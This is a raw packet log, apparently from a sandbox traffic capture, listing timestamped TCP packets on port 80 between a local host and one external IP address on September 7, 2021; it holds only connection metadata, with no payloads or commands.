Sep 7, 2021 16:02:48.941446066 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941469908 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941471100 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941493034 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941514015 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941524982 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941535950 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941560030 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941575050 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941596031 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941617012 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941618919 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941639900 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941658974 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:48.941664934 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:48.941714048 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.012849092 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.012913942 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.012938976 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.012975931 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.013031006 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.013835907 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.013864040 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.013894081 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.013897896 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.013920069 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.013940096 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.013956070 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.013958931 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.013992071 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.014019966 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.014029026 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.014054060 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.014076948 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.014096975 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.014097929 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.014118910 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.014142990 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.014146090 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.014192104 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.015861034 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.015892029 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.015913963 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.015937090 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.015957117 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.015978098 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.015991926 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.016041994 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.016045094 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.016911983 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017010927 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017030001 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017045975 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017062902 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017079115 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017095089 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017111063 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017288923 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017307043 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017324924 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017342091 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017657042 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017674923 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017693043 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017712116 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017729998 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017749071 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017769098 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017787933 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017803907 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017822981 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017843008 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017862082 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017880917 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.017899036 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.022901058 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087232113 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087266922 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087285995 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087306976 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087320089 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087328911 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087349892 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087357044 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087373972 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087398052 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087399006 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087423086 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087440968 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087446928 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087471008 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087487936 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087493896 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087517977 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087543964 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087546110 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087567091 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087585926 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087590933 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087613106 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087632895 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087632895 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087655067 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087673903 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087677002 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087697983 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087718964 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087718964 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087740898 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087759972 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087764978 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087789059 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087809086 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087810993 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087826014 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087842941 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087848902 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087857962 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087872982 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087888956 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087892056 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087908030 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087912083 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087925911 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087939978 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087951899 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087954998 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087971926 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.087984085 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.087986946 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088002920 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088011026 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088017941 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088036060 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088043928 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088053942 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088073969 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088082075 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088097095 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088112116 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088119030 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088140965 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088159084 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088160992 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088181973 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088205099 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088207960 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088226080 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088241100 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088248968 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088282108 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088730097 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088756084 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088756084 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088779926 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088797092 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088803053 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088826895 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088846922 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088849068 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088871956 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088896036 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088898897 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088922977 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088948965 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088951111 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088972092 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.088994980 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.088994980 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089018106 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089037895 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.089040995 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089061975 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089081049 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.089086056 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089111090 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089134932 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089135885 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.089155912 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089173079 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.089179993 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089201927 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089225054 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089226007 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.089250088 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089271069 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089286089 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.089299917 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089319944 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089322090 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.089338064 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089353085 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.089358091 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.089396954 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.091053963 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.091087103 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.091111898 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.091147900 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.091218948 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.091243982 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.091265917 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.091270924 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.091295958 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.091317892 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.091319084 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.091342926 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.091360092 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.091367006 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.094193935 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.097385883 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097423077 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097445965 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097467899 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097556114 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.097577095 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.097635984 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097664118 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097688913 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097707033 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.097712040 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097733974 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097758055 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097768068 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.097781897 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097805977 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.097805023 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097825050 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097846985 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097856998 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.097872019 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097892046 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.097894907 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097918034 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097932100 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.097942114 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097965956 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.097985029 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.097990036 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.098012924 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.098033905 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.098035097 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.098058939 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.098081112 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.098082066 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.098104000 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.098124981 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.098128080 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.098153114 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.098172903 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.098176003 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.098221064 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.105397940 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.161556005 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.161672115 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.162992954 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.165443897 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.165472031 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.165492058 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.167768002 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168070078 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168096066 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168117046 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168138981 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168159008 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168181896 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168204069 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168224096 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168735027 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168762922 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168782949 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168802977 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168824911 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168843985 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168863058 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168883085 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168905973 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168926954 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168946981 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168966055 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.168987036 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169007063 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169027090 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169047117 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169070005 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169090986 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169110060 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169131994 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169152021 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169172049 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169193029 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169286966 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169302940 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169306993 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169310093 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169312000 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169316053 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169318914 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169321060 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169323921 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169327021 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169331074 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169332981 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169336081 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169338942 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169341087 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169343948 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169887066 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169938087 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169945002 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.169959068 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.169980049 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.170001030 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.170003891 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.170020103 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.170058012 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.172530890 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.172599077 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.172647953 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.172677994 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.172769070 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.172914028 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.172940969 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.172960997 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.172983885 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.172991991 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.173005104 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.173026085 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.173032999 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.173047066 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.173069000 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.173088074 CEST	80	49751	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:49.173090935 CEST	49751	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:49.173104048 CEST	80	49751	5.188.88.63	192.168.2.4
